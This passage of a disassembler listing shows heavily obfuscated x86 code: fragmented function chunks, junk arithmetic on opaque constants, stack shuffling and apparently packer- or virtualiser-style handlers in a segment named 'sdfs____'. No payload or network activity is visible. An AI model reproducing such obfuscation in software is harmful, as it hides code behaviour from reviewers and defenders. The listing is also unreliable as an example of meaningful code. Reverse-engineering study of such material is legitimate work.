edx, ecx pop ecx shr edx, 1 jz loc_5A1BDD jmp loc_5A93AD ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5ABC8A: ; CODE XREF: sub_5AF2D9-158F2j ; sub_59D37E+EECDj mov [esp+0], edx mov dl, 0A6h mov cl, dl pop edx jmp loc_5AED5B ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABC97: ; CODE XREF: sub_5AA2D1:loc_5A88C1j sub ebx, 227749C7h sub ebx, 5E0E70E6h jmp loc_5A05BA ; --------------------------------------------------------------------------- loc_5ABCA8: ; CODE XREF: sub_5AA2D1-55C1j mov ebp, 4 sub esi, ebp pop ebp jmp loc_59FB8E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ABCB5: ; CODE XREF: sub_5A6BBC-4176j add esp, 4 push ebx mov ebx, 4 add esi, ebx pop ebx xor esi, [esp+4+var_4] jmp loc_5ABB93 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABCC9: ; CODE XREF: sub_5AA2D1+1B1Fj push esi mov esi, esp push ebp jmp loc_5AF7C1 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5ABCD2: ; CODE XREF: sub_5AA810-10A96j mov [esp+8+var_8], edx push [esp+8+var_4] mov edx, [esp+0Ch+var_C] jmp loc_5AA984 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD015 loc_5ABCE1: ; CODE XREF: sub_5AD015+8j push 4EA7h mov [esp+8+var_8], esi jmp loc_5A05A1 ; END OF FUNCTION CHUNK FOR sub_5AD015 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABCEE: ; CODE XREF: sub_5AA2D1+233Dj shl edi, 5 sub edi, 7C4A8F3Ch add ecx, edi pop edi jmp loc_5B02B8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5ABCFF: ; CODE XREF: sub_59EE3E+1017Ej shl ecx, 3 push edi mov edi, 236D712Ch xor ecx, edi pop edi push eax mov eax, 0E8FFE684h add ecx, eax pop eax xor edx, ecx pop ecx add edx, 99F3DDF7h add edi, edx pop edx xchg edi, [esp-8+arg_4] pop esp jmp sub_5ADD81 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ABD29: ; CODE XREF: sub_5A6BBC-622j push esp pop edx sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 4F291B78h xor ebp, 4F291B7Ch jmp loc_59EA1C ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- lodsb sub al, 44h sub al, bl sub esp, 4 mov [esp], edx sub esp, 4 jmp loc_59C0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5ABD5A: ; CODE XREF: sub_5A118F-653Bj mov ch, 0F7h sub al, ch pop ecx sub al, 0F0h sub al, 0EEh sub al, dh add al, 0EEh add al, 0F0h jmp loc_5AE8B3 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ABD6E: ; CODE XREF: sub_5992DA+F72Bj pop ebx add esp, 4 push edx mov dh, 8Ah and dh, 98h jmp loc_59B3A4 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8101 loc_5ABD7D: ; CODE XREF: sub_5A8101+556Ej sub edx, ecx pop ecx xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+0], esi jmp loc_5A01C9 ; END OF FUNCTION CHUNK FOR sub_5A8101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABD8E: ; CODE XREF: sub_5AA2D1-51D8j add esp, 4 push 611Fh mov [esp-0Ch+arg_8], eax push edx pop eax mov ecx, eax mov eax, [esp-0Ch+arg_8] add esp, 4 pop edx and eax, ecx push [esp-14h+arg_10] mov ecx, [esp-10h+arg_C] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp-0Ch+arg_C] pop ebx pop [esp-0Ch+arg_8] pop esp or eax, eax jz sub_5A21F1 push dword ptr [edi+1Ch] push [esp-10h+arg_C] mov ecx, [esp-0Ch+arg_8] push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi mov esi, [esp-4+arg_0] add esp, 4 jmp loc_5ABCC9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ABDF5: ; CODE XREF: sub_5A6BBC+2550j pop ecx sub esp, 4 jmp loc_5A78D7 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- loc_5ABDFE: ; CODE XREF: sdfs____:005AAC19j dec ah jz loc_5991D5 not ah jmp loc_59EC07 ; =============== S U B R O U T I N E ======================================= sub_5ABE0D proc near ; CODE XREF: sub_5992DA+3EFj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059B402 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A029B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A0BD8 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A6214 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A974D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AADB5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AB367 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ADB49 SIZE 00000017 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp push 60B0h mov [esp+8+var_8], eax push edx push 1703101Bh push [esp+10h+var_10] pop edx add esp, 4 neg edx shl edx, 6 jp loc_5A974D add edx, 28884F5Bh jz loc_5AA630 push eax push esi push 1E7858BEh pop esi inc esi jl loc_5A6214 jmp loc_5ADB49 sub_5ABE0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5ABE58: ; CODE XREF: sub_5B03B3-1550Fj and eax, ebx jmp loc_5A3B00 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; =============== S U B R O U T I N E ======================================= sub_5ABE5F proc near ; CODE XREF: sub_5AA2D1-A403j var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005AF862 SIZE 0000001F BYTES push ebx push dword ptr [esp+4] pop ebx jmp loc_5AF862 sub_5ABE5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5ABE6A: ; CODE XREF: sub_5AA810-C4F0j mov [esp+0], ebx push edi mov edi, 123E7D15h jmp loc_59ED78 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5ABE78: ; CODE XREF: sub_5A9EC5-688Fj add bl, 5Fh mov eax, [esp+6+var_8+2] add esp, 4 jmp loc_59BF1B ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5ABE89: ; CODE XREF: sub_5A477C-1B8Aj add ebx, ebp pop ebp jmp loc_5AC1F4 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5ABE91: ; CODE XREF: sdfs____:005999FFj neg eax jmp loc_5ACA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B196 loc_5ABE98: ; CODE XREF: sub_59B196+Ej push esi push 6FC45B3Bh pop esi jmp loc_5A66FE ; END OF FUNCTION CHUNK FOR sub_59B196 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ABEA4: ; CODE XREF: sub_59C979+2E77j sub eax, ebx add eax, 1054596Eh pop ebx push ebx jmp loc_5A5ACD ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5ABEB2: ; CODE XREF: sub_5AF294-B61Fj mov edi, ecx mov ecx, [esp+0] add esp, 4 jmp loc_59C15E ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599884 loc_5ABEC2: ; CODE XREF: sub_599884+A315j xor edi, ebp pop ebp or edi, 53A92F7Bh push eax mov eax, 2190417Bh sub edi, eax pop eax sub edx, edi pop edi add edx, 26D46641h add edx, eax sub edx, 26D46641h add edx, 561B2E80h push ebx mov ebx, 6BCE3BF8h jmp loc_5AA736 ; END OF FUNCTION CHUNK FOR sub_599884 ; =============== S U B R O U T I N E ======================================= sub_5ABEF6 proc near ; CODE XREF: sub_59E94B+11235j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059F10B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A2C8A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A40C2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4735 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A531E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A5783 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A57C4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A66F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A737A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A8554 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AA18B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005ACEE7 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005ADDC1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AEB63 SIZE 00000007 BYTES push ebp mov ebp, 30E83F1Dh jmp loc_5A4735 sub_5ABEF6 endp ; --------------------------------------------------------------------------- loc_5ABF01: ; CODE XREF: sdfs____:0059D3CEj add esi, 4 xchg esi, [esp] pop esp add edx, 4 sub esp, 4 mov [esp], ebp push 0A7Fh mov [esp], edi push 310D7FC7h push dword ptr [esp] jmp loc_5A85C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABF2F: ; CODE XREF: sub_5AA2D1-D7BAj pop edi pop ebp sub ebp, ebx pop ebx add ebp, eax push ebx mov ebx, 19233571h add ebx, 22F25B9Eh sub ebx, 34071D11h push eax jmp loc_5A4DBB ; --------------------------------------------------------------------------- loc_5ABF4E: ; CODE XREF: sub_5AA2D1-4361j ; sub_5A7508+1353j add ebx, 43927389h add ebx, edi jmp loc_5AE92A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5ABF5B: ; CODE XREF: sub_5A3C19+757Aj pop edi push ebp push eax push 6BF30514h jmp loc_59BF25 ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5ABF68: ; CODE XREF: sdfs____:005AA5F1j ; sub_5A79BE+579Fj add eax, esi pop esi jmp loc_5A9C5C ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- loc_5ABF70: ; CODE XREF: sdfs____:005AA52Aj push dword ptr [esp] pop ebp add esp, 4 jmp loc_5992E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5ABF7F: ; CODE XREF: sub_5A577C-94F8j sub esi, 17DD1A5Ch mov ebp, esi pop esi jmp loc_5A8230 ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ABF8D: ; CODE XREF: sub_59C979+A9A4j xor ebx, 3781911h add ebx, 148A5AF1h sub esp, 4 mov [esp-0Ah+arg_6], ecx mov ecx, 78B063D0h dec ecx jmp loc_5A6823 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5ABFAD: ; CODE XREF: sub_59A9E9+22DFj jno loc_5A13B2 xor edx, 0AC5DFB13h mov esi, edx jmp loc_59D27C ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ABFC0: ; CODE XREF: sub_59D6B8+9093j push edx mov edx, 4 sub ebx, edx jmp loc_59AA0C ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABFCD: ; CODE XREF: sub_5AA2D1-EF54j ; sub_5AA2D1-D187j sub esi, 535C1B70h jmp loc_59A2CF ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5ABFD8 proc near ; CODE XREF: sub_5AD84A+17j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059B869 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059C31D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059C46F SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A10D3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A2BCC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AAABA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ABBB0 SIZE 00000008 BYTES sub esp, 4 mov [esp+0], esi push [esp+0Ch+var_8] mov esi, [esp+0] add esp, 4 pop dword ptr [esp+0] xor esi, ebp xor ebp, esi xor esi, ebp not ebp xchg ebp, esi sub esp, 4 jmp loc_5AAABA sub_5ABFD8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AC006: ; CODE XREF: sub_59C979+A58Fj or edi, 30803B9Ah add edi, 579150F2h push esi mov esi, 21E72B8h inc esi jmp loc_5A9AC8 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC01E: ; CODE XREF: sub_5AA2D1-D66j push eax mov eax, 8F852C6Eh jmp loc_5B0218 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AC029: ; CODE XREF: sub_5A6BBC+5918j sub cl, dl jmp loc_59EA03 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5AC030: ; CODE XREF: sub_5A86D0-2D2Cj pop edi jmp loc_59CC45 ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AC036: ; CODE XREF: sub_59D6B8+4C3Cj mov ebx, 7FEC7434h jmp loc_5A69D7 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC040: ; CODE XREF: sub_5992DA+882Aj sub cl, 0CBh push bx mov bl, 16h and cl, bl pop bx push edx mov dh, 49h xor cl, dh mov edx, [esp+0] add esp, 4 add bl, cl mov ecx, [esp-4+arg_0] add esp, 4 sub bl, 0C8h push dx jmp loc_5A9E1E ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5AC06B: ; CODE XREF: sdfs____:005ACCFCj not ecx push esi jmp loc_5A3C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5AC073: ; CODE XREF: sub_59A9E9+E1BBj xor edi, 0FC02295Ch add edx, edi pop edi jmp sub_59F463 ; --------------------------------------------------------------------------- loc_5AC081: ; CODE XREF: sub_59A9E9+31DEj add eax, 0C130B1D9h or esi, eax pop eax xor esi, 330B7D6Dh and edi, esi mov esi, [esp+0] add esp, 4 jmp loc_5A8B9E ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A66D6 loc_5AC09F: ; CODE XREF: sub_5A66D6-5BA1j pop edi add [esp+arg_0], 3FDD76DEh sub [esp+arg_0], 31C234E7h sub [esp+arg_0], edx add [esp+arg_0], 31C234E7h jmp loc_5AC286 ; END OF FUNCTION CHUNK FOR sub_5A66D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5AC0C1: ; CODE XREF: sub_5AFA26-8FADj xor edi, [esp+0Ch+var_C] pop esp push 558Ah mov [esp+0Ch+var_C], ebp mov ebp, 51B20307h jmp loc_5A8DC6 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_5AC0D7: ; CODE XREF: sub_5B03E8-98D6j add esp, 4 push eax mov eax, 32E843F2h sub eax, 1 shl eax, 6 sub esp, 4 mov [esp+4+var_4], edi mov edi, 23F36A51h or eax, edi pop edi sub esp, 4 jmp loc_59A625 ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A491A loc_5AC0FE: ; CODE XREF: sub_5A491A+8523j push dword ptr [esp+0] pop edx jmp loc_59DA8F ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- loc_5AC107: ; CODE XREF: sdfs____:005AAE82j push eax mov eax, esp add eax, 4 push esi push edi jmp loc_5A9D2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AC116: ; CODE XREF: sub_5A79BE-D9BBj add eax, [ecx] push [esp-4+arg_0] jmp loc_5A893C ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AC120: ; CODE XREF: sub_5B01F7-E2A7j and ecx, eax mov eax, [esp+18h+var_18] add esp, 4 jmp loc_5AAE30 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AC130: ; CODE XREF: sub_5A4E04:loc_5A0B97j xor ebx, 3DBE8C34h add eax, 495F5A41h add eax, ebx push edi mov edi, 495F5A41h sub eax, edi mov edi, [esp+0Ah+var_C+2] add esp, 4 pop ebx sub esp, 4 mov [esp+6+var_8+2], ebp mov ebp, 608B4B6Eh jmp sub_59AD7B ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AC15F: ; CODE XREF: sub_5A63DC-7A3Bj ; sdfs____:005A04CBj dec ebx jmp sub_5AFA26 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A765F loc_5AC165: ; CODE XREF: sub_5A765F-AB6Dj pop esp mov [esp+0], cx push edx mov dl, 2Ah mov ch, dl jmp loc_59BA28 ; END OF FUNCTION CHUNK FOR sub_5A765F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AC174: ; CODE XREF: sub_5A0FFF-FF5j ; sub_5AA2D1-4162j mov esp, [esp+4+var_4] push 6764h jmp loc_5AB018 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC181: ; CODE XREF: sub_5AA2D1-73A5j add [esp-8+arg_4], 394C468Ch jmp loc_59F725 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AC18D proc near ; CODE XREF: sub_59ED98+EECDj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059A50F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059B71F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BA0C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A0A7F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A1EA0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A35A9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A3DD2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A5410 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A734D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A9F1A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AA2DF SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005AA475 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB3AB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ABA56 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADF88 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005AF17B SIZE 00000014 BYTES push ebx mov bl, al mov cl, bl pop ebx mov ax, word ptr [esp+4+var_4] add esp, 2 add dl, 0A6h sub dl, cl jmp loc_5AA475 sub_5AC18D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5AC1A4: ; CODE XREF: sub_5A0FFF-53E4j mov edx, [esp+8+var_8] add esp, 4 jmp loc_59CF52 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC1B2: ; CODE XREF: sub_5AA2D1-2997j pop ax jmp loc_59F7F5 ; --------------------------------------------------------------------------- loc_5AC1B9: ; CODE XREF: sub_5AA2D1-2776j xor edi, 0D79F9CF8h sub ebp, edi jmp loc_5AC29D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5AC1C6: ; CODE XREF: sub_5996E4+1202Ej pop esi or esi, 47B20C8Ch sub esi, 67025E2Ah jmp loc_5A4D20 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; =============== S U B R O U T I N E ======================================= sub_5AC1D8 proc near ; DATA XREF: sdfs____:00598FA0o push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp+0], cl pushf jmp loc_59910F sub_5AC1D8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC1E7: ; CODE XREF: sub_5992DA+6112j push ecx mov ecx, 14134964h sub ebx, ecx jmp loc_5AC545 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AC1F4: ; CODE XREF: sub_5A477C+7710j push 6906h mov [esp+0], ecx mov ecx, 467D0C83h add ebx, 33122C97h jmp loc_5A047A ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC20C: ; CODE XREF: sub_5AA2D1-B3C3j xor eax, [esp+8+var_8] pop esp add ecx, 4 add ecx, 4 push ecx push [esp+8+var_4] push [esp+0Ch+var_C] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+10h+var_10] jmp loc_5AC6D5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5AC23C: ; CODE XREF: sub_59D37E+11B70j shr dh, 8 xor dh, 56h sub esp, 4 mov [esp+0Ch+var_C], ecx sub esp, 4 jmp loc_5ABC8A ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AC250: ; CODE XREF: sub_59D6B8+6B84j add ebp, 4 jmp loc_5A476B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC258: ; CODE XREF: sub_59D6B8-389Cj ; sub_5AA2D1-5352j mov esi, [esp+0Ah+var_C+2] jmp loc_5A4987 ; --------------------------------------------------------------------------- loc_5AC260: ; CODE XREF: sub_5AA2D1+3165j pop eax add edi, 95A07EA6h xor eax, edi pop edi add ebp, eax jmp loc_5AE863 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AC271: ; CODE XREF: sub_5B01F7-149E3j add eax, edx push edx mov edx, 1F924D09h sub eax, edx jmp loc_59D3D3 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC280: ; CODE XREF: sub_5AA2D1-E7Fj pop edi jmp loc_5A1129 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A66D6 loc_5AC286: ; CODE XREF: sub_5A66D6+59E6j push edi mov edi, 3FDD76DEh jmp loc_5A4533 ; END OF FUNCTION CHUNK FOR sub_5A66D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5AC291: ; CODE XREF: sub_5B0377-E89Dj pop edx sub edi, 3D77FF1h jmp loc_5AAA45 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC29D: ; CODE XREF: sub_5AA2D1+1EF0j pop edi jmp loc_5AFF54 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B2E4 loc_5AC2A3: ; CODE XREF: sub_59B2E4-3C4j add ecx, 164B51A9h sub esi, ecx jmp loc_5A787C ; END OF FUNCTION CHUNK FOR sub_59B2E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_5AC2B0: ; CODE XREF: sub_59BA35+16j add eax, 0A256D9F6h sub esp, 4 jmp loc_5A613A ; END OF FUNCTION CHUNK FOR sub_59BA35 ; =============== S U B R O U T I N E ======================================= sub_5AC2C0 proc near ; CODE XREF: sub_5ABE5F+3A1Dj var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059BA79 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0059CB9A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A156C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A924C SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AABFC SIZE 0000001B BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 14A14EE0h mov esi, eax pop eax push ecx mov ecx, 66043967h sub esi, ecx pop ecx xor esi, 0E6DF0248h sub eax, esi mov esi, [esp+0] add esp, 4 push 228Fh mov [esp+0], edi mov edi, 4F30716h add eax, edi jmp loc_59BA79 sub_5AC2C0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3B6 loc_5AC2FC: ; CODE XREF: sub_59F3B6+D35Cj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A4C05 ; END OF FUNCTION CHUNK FOR sub_59F3B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AC310: ; CODE XREF: sub_5A2E41+504Ej add edx, 11A17B6Dh jmp loc_5A1D23 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AC31B: ; CODE XREF: sub_59CBE1+F7CFj add esp, 4 push 1AD2h mov [esp+0Ah+var_C+2], eax push [esp+0Ah+var_8+2] push [esp+0Eh+var_10+2] pop eax push edx jmp loc_59DDD0 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5956 loc_5AC337: ; CODE XREF: sub_5A5956-600Aj btc [esp+0], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A5956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AC342: ; CODE XREF: sub_5992DA+D5E4j not edi sub esp, 4 mov [esp+0], eax jmp loc_5A7456 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AC34F: ; CODE XREF: sub_5AA2D1-C05Fj mov ah, cl pop ecx mov ebx, [esp-18h+arg_14] add esp, 4 sub ah, 0FFh 